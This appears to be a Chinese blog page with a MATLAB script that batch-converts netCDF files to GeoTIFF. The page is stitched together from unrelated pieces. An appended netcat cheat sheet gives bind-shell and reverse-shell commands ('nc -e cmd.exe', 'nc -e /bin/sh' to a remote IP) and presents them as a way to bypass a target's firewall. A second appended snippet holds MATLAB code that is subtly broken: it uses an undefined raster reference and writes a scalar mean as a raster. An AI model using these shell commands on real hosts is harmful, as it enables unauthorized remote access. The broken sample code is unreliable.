批量转换nc数据

说明详见我的另一篇文章使用Matlab和ArcGIS的netCDF(NC)格式数据的读取与转换为Geotiff格式

clc;clear;
%转换字段为ncfile
path="G:\NASA Data001";%没有\%不能用双引号
tiffpath="G:\001Qtotal_tavg\";
filenames = ls(strcat(path,'\*.nc'));ncfile = 'Qtotal_tavg' ;%设置转换字段
path=strcat(path,'\');

%查找文件夹下所有NC文件
[length,wid]=size(filenames);
filenames=cellstr(filenames);%转换为原版数组,用以切片
for j=1:length
    try
        
        ncfiles = ncinfo(strcat(path,filenames{j}));
        
        
        lat = ncread(ncfiles.Filename,'lat') ;%Filename是当前文件名字符型矩阵
        lon = ncread(ncfiles.Filename,'lon') ;
        %%Change lon and lat to double
        lon = double(lon) ;
        lat = double(lat) ;
        A = ncread(ncfiles.Filename,ncfile) ;
        %     A=rot90(A);逆时针旋转90度
        A=A';%由于生成的图像倒了,需要转置
        
        % Write the .grd data into geotiff
        R = georasterref('RasterSize',size(A),'LatitudeLimits',[min(lat),max(lat)],........
            'LongitudeLimits',[min(lon),max(lon)]);
        tiffile = strcat(tiffpath,filenames{j},ncfile,'.tif');
        %     imshow(tiffile);
        geotiffwrite(tiffile,A,R);
        disp(strcat(tiffile,'成功转换'))
        disp(j)
        %     转换很成功,速度很快,但是反了
        
    catch
        disp(['NC文件',filenames{j},'读取错误'])
    end
end

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
瑞士军刀:nc.exe 参数说明: -h 查看帮助信息 -d 后台模式 -e prog程序重定向,一但连接就执行[危险] -i secs延时的间隔 -l 监听模式,用于入站连接 -L 监听模式,连接天闭后仍然继续监听,直到CTR+C -n IP地址,不能用域名 -o film记录16进制的传输 -p[空格]端口 本地端口号 -r 随机本地及远程端口 -t 使用Telnet交互方式 -u UDP模式 -v 详细输出,用-vv将更详细 -w数字 timeout延时间隔 -z 将输入,输出关掉(用于扫锚时) 基本用法: nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 nc -l -p 80 开启本机的TCP 80端口并监听 nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口 nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 高级用法: nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止 nc -L -p 80 > c:\log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用 type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用 本机上用:nc -l -p 本机端口 在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 本机上用:nc -d -l -p 本机端口 存放文件的路径及名称 传送文件到对方主机
MATLAB中,您可以使用Matlab自带的netcdf库来读取和处理NetCDF数据。要将批量nc数据转换为栅格格式,您可以按照以下步骤操作: 1. 获取数据:首先,确保您已经下载或获取了批量nc数据文件。 2. 批量处理脚本:编写一个MATLAB脚本来批量处理nc数据转换为栅格格式。以下是一个示例脚本,可以帮助您开始: ```matlab % 设置输入和输出文件夹路径 input_folder = '输入文件夹路径'; output_folder = '输出文件夹路径'; % 获取输入文件夹中的所有nc文件 files = dir(fullfile(input_folder, '*.nc')); % 循环处理每个文件 for i = 1:numel(files) % 读取NetCDF文件 filename = fullfile(input_folder, files(i).name); data = ncread(filename, '变量名称'); % 替换为实际的变量名称 % 进行栅格处理操作,例如计算统计指标、重采样等等 % 这里只是一个示例,您可以根据自己的需求进行修改 processed_data = mean(data, 'all'); % 计算平均值 % 创建输出文件名 [~, name, ~] = fileparts(files(i).name); output_file = fullfile(output_folder, [name, '.tif']); % 将处理结果保存为栅格文件 geotiffwrite(output_file, processed_data, raster_reference, 'CoordRefSysCode', 'EPSG:4326'); % 替换raster_reference为实际的空间参考信息 disp(['完成文件:', files(i).name]); end disp('批量处理完成!'); ``` 请注意,上述示例脚本中的变量名称和空间参考信息需要根据您的实际数据进行替换。您可以使用`ncdisp`函数来查看NetCDF文件中的变量名称和其他元数据信息,以确定正确的替换值。 3. 运行脚本:将脚本保存为一个.m文件,并在MATLAB命令窗口中运行该文件,确保在运行脚本之前将输入文件夹路径和输出文件夹路径替换为实际路径。 上述示例仅演示了如何批量处理nc数据,并计算每个文件中的统计指标(平均值),然后将结果保存为栅格文件。您可以根据具体需求进行修改和扩展。 希望这对您有所帮助!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

冬_冬_

若觉得文章对您有用,请随意打赏

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值